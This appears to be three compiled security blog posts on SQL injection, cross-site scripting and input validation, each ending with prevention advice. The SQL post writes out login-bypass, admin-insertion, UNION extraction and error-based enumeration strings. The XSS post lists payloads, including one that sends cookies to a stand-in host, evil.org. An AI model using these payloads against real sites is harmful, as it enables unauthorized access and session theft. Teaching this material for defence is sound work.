An Over View Of SQL Inection

SQL Injection:

A SQL injection attack exploits vulnerabilities in input validation to run arbitrary commands in the database. Your code is vulnerable to SQL injection attacks wherever it uses input parameters to construct SQL statements. A SQL injection attack occurs when un-trusted input / user controllable input can modify the logic of a SQL query in unexpected ways. It can also occur if your code uses stored procedures that are passed strings that contain unfiltered/un-sanitized user input.

Impact:

SQL injections can result in unauthorized access, modification, or destruction of SQL data. Using the SQL injection attack, the attacker can execute arbitrary commands in the database. If an application is vulnerable to SQL injection and application uses an over-privileged account to connect to the database then it is possible to run operating system commands using database server and can potentially compromise other severs, in addition to being able to retrieve, manipulate, and destroy data exist in the databases.

Background:

Generally web applications allow legitimate users to submit and retrieve data to/from a database over the Internet using their browser/interface. This data may be anything user information, company statistics, product details, customer details, vendor details, payment information, financial information etc. These applications are vulnerable to SQL Injection if user controllable input is directly used in building the SQL statements without adequate validation to interact with the backend.

In Detail with few examples:

The simplest SQL injection technique is bypassing login forms. See the following web application code used in login form:

Query = "SELECT Uname FROM Users WHERE Uname = ‘" & txtUsername & "‘ AND Pwd = ‘" & txtPassword & "‘"

strCheck = GetDbaseResult(Query)
If (strCheck = "")
boolAuthenticated = False
else
boolAuthenticated = True

By the above logic the GetDbaseResult method will go through the Users table and will return the user name if there is a row exists with the username and password supplied by the user. This username is stored in the variable strCheck. If there is no row that the user supplied data exists in users table, strCheck will be empty and the user will not be authenticated.
In the above code you are constructing SQL statement dynamically using user input (Text box values of login form) without adequate validation or sanitization. This is vulnerable for SQL injection and this authentication logic can be easily bypassed by an attacker in following way.

Enters ‘ OR ‘‘=‘ in text box provided for user name and ‘ OR ‘‘=‘ in text box provided for password.

Now the final query that is going to be executed will be like below:

SELECT Uname FROM Users WHERE Uname = ‘‘ OR ‘‘=‘‘ AND Pwd = ‘‘ OR ‘‘=‘‘

The above statement is always returns true! Since all of the qualifying conditions in the WHERE clause are now met, this will return the username from the first row in the table that is searched. It will pass this username to strCheck, which will ensure our validation. Oops our authentication mechanism is bypassed!

Or just enter ‘ OR ‘a’ = ‘a’;-- in the text box provided for user name in login form to bypass authentication.
Or can create a login for himself by insering a row into the Users table with following statement.

'; insert into users values('Attacker', 'Password', ‘Admin’ )--

Direct Injection vulnerabilities:

In a direct injection, whatever argument you submit will be used in the SQL query without any modification. Direct values can be either numeric value used in WHERE statements, such as fallows…

Query = "SELECT CustNo, CustName, Location FROM Customers WHERE CustNo = " & txtCustNumber

…or the argument of an SQL keyword, such as table or column name:

Query = "SELECT CustNo, CustName, Location FROM Customers ORDER BY " & txtColumnName

Quoted Injection vulnerabilities:

In a quoted injection, whatever argument user submits has a quote prefixed and appended to it by the application, such as fallows...

Query = "SELECT CustNo, CustName, Location FROM Customers WHERE CustName = = ‘" & txtCustName & "‘"

In case of Quoted injection vulnerability attacker must use injection string that contains a single quote before an SQL keyword. Attacker can also use special symbols like “;--“ to comment out the rest of the logic. Everything after this “--“ will be treated as comments in SQL server, attacker uses appropriate symbols depending on the backend used for the application. Attacker can know these details by reverse-engineering several parts of the vulnerable web application’s SQL query from the returned error messages.

There are many ways to inject SQL code to get unintended results from the application. For Example attacker simply modifies a WHERE clause by injecting a UNION SELECT, to make the database server return records other than those intended. This allows multiple SELECT queries to be specified in one statement.

SELECT CustNo, CustName FROM Customers WHERE CustNo = -1 UNION ALL SELECT ProdCode, ProductName, Price FROM Products WHERE 1 = 1

The above statement will return the recordsets from the first query and the second query together. In the above the key word ALL is used to escape certain kinds of SELECT DISTINCT statements.
In the above the actual query within the code is like below:

Query = “SELECT CustNo, CustName FROM Customers WHERE CustNo = “ &txtCustNo

Simply attacker injected the following code to get the details of products:

1 UNION ALL SELECT ProdCode, ProductName, Price FROM Products WHERE 1 = 1

The above constructed query will not return any records from the first table since it won’t find a record with the customer number negative one(assuming that there will be no negative customer numbers), but will return all records from the second table which is injected into the actual query.
Most SQL compliant databases, including SQL Server, store metadata in a series of system tables with the names sysobjects, syscolumns, sysindexes, and so on. This means that an attacker could use these system tables to grab schema information for a database to assist him in the further compromise of the database. For example the following code might be used to reveal the names of the user tables in the database:

' UNION SELECT id, name, '', 0 FROM sysobjects WHERE xtype ='U' --

How attacker gathers information:

In order to manipulate the data in the database, the attacker will have to determine the structure of certain databases and tables. Well, how attacker will get this information?
If detailed error messages are returned from the application, the attacker can determine the entire structure of the database, and read any value that can be read by the account the application is using to connect to the Database Server.
Suppose the attacker wants to establish the names of the tables that the query operates on, and the names of the fields. For this, he uses the 'having' clause of the 'select' statement by injecting code into the select statement by entering malformed code into the text box or query string like below:

' having ‘a’= ‘a’-- Or
‘ having 1=1 --

The above statement returns an error saying Column 'XXXXXX' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. So now the attacker knows the first column name in the query. He can continue through the columns by introducing each field into a 'group by' clause, like below:

' group by XXXXX having 1=1-- (Here XXXXX is column name retrived in error message)

The above statement then throws an error message saying Column 'YYYYY' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. Now the attacker knows the second column name of the query and moves on. After knowing all columns he can determine the types of each column by using a 'type conversion' error message, with the help of aggregate functions like below:

' union select sum(XXXX) from TableName --

The above statement reveals data type of the column by returning error message like the sum or average aggregate operation cannot take a varchar data type as an argument, which tells him that the 'XXXX field has type 'varchar'. He can use this technique to approximately determine the type of any column of any table in the database. The attacker can take advantage of any error message that reveals information about the environment, or the database.

What attacker can do further?

Once an attacker has control of the database or compromised the database, he can use that access to obtain further control over the network. He can do anything like below but not limited to:

• Using the xp_cmdshell extended stored procedure to run operating system/arbitrary commands on the database server.
• Use the 'bulk insert' statement to read any file on the server.
• Can use the system stored procedures like sp_OACreate, sp_OAMethod and sp_OAGetProperty to create ActiveX applications.
• Using the xp_regread extended stored procedure to read registry keys, including the SAM (if Database Server Service is running as the local system account).
• Can create custom extended stored procedures to run exploit code on the database server from within the Database Server process.
• Can manipulate/drop the data, can retrieve sensitive information.
• Can stop or disable required services or can even shut down the server.

Recommendations:

1. Avoid usage of dynamic SQL; consider using parameters passed to stored procedures instead of dynamic SQL. Parameters passed to a stored procedure are generally much safer than using dynamic SQL.
2. Perform Input Validation on all inputs constraining the input in terms of length, character set, and format, so that application accepts only valid characters. Please refer to my post Assume all input is malicious until proven otherwise on input validation for more details.
3. Do not rely on client-side code to validate input, as it can be bypassed by attackers.
4. Use a white list approach to validate the inputs.
5. Along with input validation consider sanitizing the input that they do not contain dangerous codes as a defense in depth strategy.
6. Limit database permissions and segregate users.
7. Lockdown the server: Run Database server service on a least privileged account and use least privileged account to connect to the database from the application.
8. Isolate the web server.
9. Display only generic error messages to the users of the application, implement proper error handling and fail safely in case of any failure.

The above are the few methods to protect applications from SQL injections. Implement all or combination of few to defense against SQL injection but don’t depend only inadequate techniques like sanitizing/escaping few characters like single quotes these can be easily bypassed by the attackers like by using Char function to overcome the single code escape (Char(0x63)).
It is better to implement at least parameterized stored procedures instead of dynamic SQL along with the adequate input validation like regular expressions with a white list approach to validate input at server side to prevent SQL injections.

Conclusion:

I believe that web application developers often simply do not think about "surprise and malicious inputs", they generally focus only on application functionality rather than security, but attackers and security people do, so it is always a good practice to implement security best practices while developing and designing the applications to develop robust and secure applications.

The Cause of Cross-Site Scripting

Cross-Site Scripting:

Cross-site script (also known as XSS or CSS) vulnerabilities occur whenever one user input is passed back to the browser without adequate validation, sanitization or encoding. Simply XSS occurs when dynamically generated web pages display user input that is not properly validated, enabling an attacker to inject malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable page and execute the script on the machine of any user that views that site in order to gather data from them. In general, XSS exploits enable attackers to take arbitrary actions on the vulnerable site on the victim's behalf. In the worst-case scenario, an attacker can use XSS to seize remote control of the victim's computer.

An attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Users may unintentionally execute scripts written by an attacker when they follow links in unknown sources, either in web pages, instant messages, e-mail messages, newsgroup postings, etc., The end user’s browser has no way to know that the script should not be trusted, and will execute the script as thinking it came from a trusted source.

The malicious script can access any cookies, session tokens, or other sensitive information retained by end user’s browser and used with that site. These scripts can even rewrite the content of the HTML page. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible with XSS. Because the malicious scripts use the targeted site to hide their origins, the attacker has full access to the retrieved web page and may send data contained in the page back to their own server. Scripting tags that are most often used to embed malicious content include <script>, <object>, <applet>, <form> and <embed>. However, it is important to note that alternative “in-line” scripting elements may be used and interpreted by the current generation of web browsers, such as javascript:alert('Oops Hacked').

Attackers frequently use a variety of methods to encode the malicious portion of the tag to bypass filters and validation techniques that use a black list approach. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols for example If a web page uses the UFT-7 character encoding, there are several different strings which will act as a ‘<’ character and start an HTML tag; So, don’t depend on black list approach to validate the user input or don’t depend only on escaping/filtering/encoding few malicious characters.

XSS attacks can generally be categorized into two categories:

Persistent/Direct attacks: In this the injected code is permanently stored on the target servers, such as in a database. The victim then retrieves the malicious script from the server when it requests the stored information.
Non-Persistent/Indirect attacks: In this the injected code is reflected off the web server, such as any response that includes some or all of the input sent to the server as part of the request. The attacker supplies the victim with a URL or HTML form which contains malicious script. The victim's browser passes the malicious script to the vulnerable site, which replays it to the victim's browser.
In both cases, the script is executed in the trust context of the vulnerable site.

For example:

A vulnerable site is having a search page accepts requests and then displays the results of the search criteria the user entered. If a user typed “abcdefghxyz” as the search criteria, the server may return that the input is invalid or No value is found for abcdefghxyz. This may seem good and harmless in this case. But suppose the user types in "<Script>alert('Oops Hacked');</Script>” and server returns “No value is found for <Script>alert('Oops Hacked');</Script> to the browser.” Here, if the user input is not encoded or validated then the client’s web browser will interpret the script tags and execute the alert (‘Oops Hacked’) function resulting a message box with “Oops Hacked” message. If so, this page is probably susceptible to a XSS attack. This is a common method attackers use to find vulnerable sites.

Typical Payloads:

<img src = "malicious.js">
<Script>alert('hacked')</script>
<iframe = "malicious.js"> ... </iframe>
<Script>document.write('<img src="http://evil.org/'+document.cookie+'") </script>
<a href="javascript:…"> click-me </a>
<EMBED SRC="http://www.xsshacker.com/movies/porn.mov">
<A HREF="http://Originalsite.com/search.asp?criteria=<SCRIPT SRC= 'http://xsshackers.com/badscript.js'> </SCRIPT>"> Home </A>
<A HREF="" [event]='code'">Go</A>
<img src="&{alert('Oops Hacked')};">
http://Originalsite.com/search.asp?query=%26%7balert%28%27OopsHacked %27%29%7d%3b
<EMBED src="http://xsshackers.com/maliciousflash.swf" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100" height="100"> </EMBED>

Prevention:

The ideal defense against cross-site script employs a combination of input validation and output encoding. Use regular expressions to validate the input using a white list approach to allow only acceptable character set, type, format and length. Use proper encoding before echoing the user input back to the browser. Output encoding is only useful for defeating XSS attacks, whereas input validation can defeat many other attacks. Therefore, take advantage of both techniques, following the principle of defensive design.

Microsoft released a free library called the AntiXss Library that makes output encoding more secure and supports more output contexts than just HTML. So, instead of using weak encoding methods use this library to protect your application from XSS. You can download AntiXss library from the below site:

http://www.microsoft.com/downloads/details.aspx?familyid=9a2b9c92-7ad9-496c-9a89-af08de2e5982&displaylang=en.

Assume all input is malicious until proven otherwise

Input validation:

Input validation is the most important ingredient of a secure application. Most major security holes today result from input validation flaws. This is something you can fix only by writing secure code; no settings or firewalls can save you here.

Your application’s user input is the attacker’s primary weapon when targeting your application. Various attacks like Buffer overflow; cross-site scripting; SQL injection; canonicalization; code injection; and numerous other denial of service and elevation of privilege attacks can exploit poor input validation. For example Non-validated input in the Hypertext Markup Language (HTML) output stream leads to cross-site scripting, Non-validated input used to generate SQL queries leads to SQL injection, and Use of input file names, URLs, or user names for security decisions leads to canonicalization attack.

Input is anything that isn’t well known at compile time. Web applications receive input from various sources, for example, all data sent from the user or that is round-tripped by your application (post back data, view State, cookies, headers, query string parameters, and so forth) and back-end data (databases, configuration data, and other data sources). All that input data influences your request processing at some point.

If you make unfounded assumptions about the type, length, format, or range of input, your application is unlikely to be secure. The attacker can supply carefully crafted input that compromises your application.

Assume all input is malicious until proven otherwise, and apply a defense in depth strategy to input validation, taking particular precautions to make sure that input is validated whenever a trust boundary in your application is crossed. Your applications must ensure that input from query strings, form fields, and cookies are valid for the application. Consider all user input as possibly malicious, and sanitize for the context of the downstream code. Validate all input for known valid values and then reject all other input. Use regular expressions to validate input data.

You should also validate the data coming from the database as treating it as one form of the user input, especially if other applications write to the database. But, Input validation is not always necessary if the input is passed from a trusted source inside your trust boundary, but it should be considered mandatory if the input is passed from sources that are not trusted.

Proper input validation is one of your strongest measures of defense against today’s application attacks. Consider the following guidelines for input validation.

• Assume all input is malicious: Input validation starts with a fundamental supposition that all input is malicious until proven otherwise. Whether input comes from a service, a file share, a user, or a database, validate your input if the source is outside your trust boundary.
• Centralize your approach: Make your input validation strategy a core element of your application design. Consider a centralized approach to validation.
• Do not rely on client-side validation: Server-side code should perform its own validation. Client side validations can be easily bypassed. For example you used java script to validate the value entered by the user can be easily by passed by disabling script in the browser.
• Be careful with canonicalization issues: Data in canonical form is in its most standard or simplest form. Canonicalization is the process of converting data to its canonical form.
• Constrain, reject, and sanitize your input: The preferred approach to validating input is to constrain what you allow from the beginning. Validate all input for known valid values and then reject all other input. Best way is to use regular expressions to validate input data.
• Other Countermeasures (Defense in Depth approach):
  In addition to the techniques discussed earlier, use other countermeasures for defense in depth like set the correct character encoding, use the ASP.NET version 1.1 validateRequest option, Install URLScan on your Web server etc.

Input Validation Techniques:

You can use a variety number of input validation techniques to validate the data. But, most of all can be categorized into either white listing approach or black listing approach. Some of the validation techniques are described below.

• Black Listing: Developers feel black listing approach is an easiest approach for input validation but indeed it is very hard to black listing, you cannot predict what unexpected input might prove dangerous as new exploits are developed. How can you determine the all malicious characters? For example to overcome Cross site scripting attack you may black list ‘<’, ‘>’ and few more special characters but these characters can be represented in many ways. So, this approach is always the most unreliable. You can use this technique along with the other validation techniques for defense in depth purpose, but don’t rely only on this technique to validate the input. The above mentioned ASP.NET version 1.1 “validateRequest” feature uses this technique.
• White Listing: Well, this is the preferred technique for input validation. White listing is defining a set of allowed characters and rejecting anything outside this set. This is exactly the opposite of black listing and is much more powerful because it allows only reliable characters, and it is easier to implement.
• Data Type Conversion: It is always recommended to validate the data for type, format, range, and length. The simple fundamental input data checks you can do is to make sure that data is of the correct data type you are expecting. Every data type in .NET has a method called Parse/TryParse that allows you to create the corresponding data type from a string.
• Regular Expressions: Wow, here is the right choice for you to validate the data for format, type, range, and length all with a single shot; this is incredibly powerful way to implement white listing and pattern matching of strings. .NET Framework providing System.Text.RegularExpression namespace for this purpose.
• XML Validation: Validation of XML data against schema is another white-listing technique. You should know what to allow and expect, XML Schema is an powerful way to make sure XML documents are comply to a certain format. .NET Framework providing System.Xml namespace for this purpose.
  Along with the above few more techniques are there like sand boxing, integrity checking with hashing, etc.

Summary:

While developing applications always remember that the majority of application level attacks approx 80% rely on maliciously formed input data and poor application input validation. Most Web application attacks require that malicious input is passed within HTTP requests. The general goal is either to coerce the application into performing unauthorized operations or to disrupt its normal operation. This is why thorough input validation is an essential countermeasure to many attacks and should be made a top priority when you develop Web pages. Take special care in this area to make sure that your validation strategy is sound and that all data that is processed from a non-trusted source is properly validated.

References:

There are several validation routines freely available at:

http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode

How To: Use Regular Expressions to Constrain Input in ASP.NET

http://msdn2.microsoft.com/en-us/library/ms998267.aspx

Security Guidelines: ASP.NET 2.0

http://msdn2.microsoft.com/en-us/library/ms998258.aspx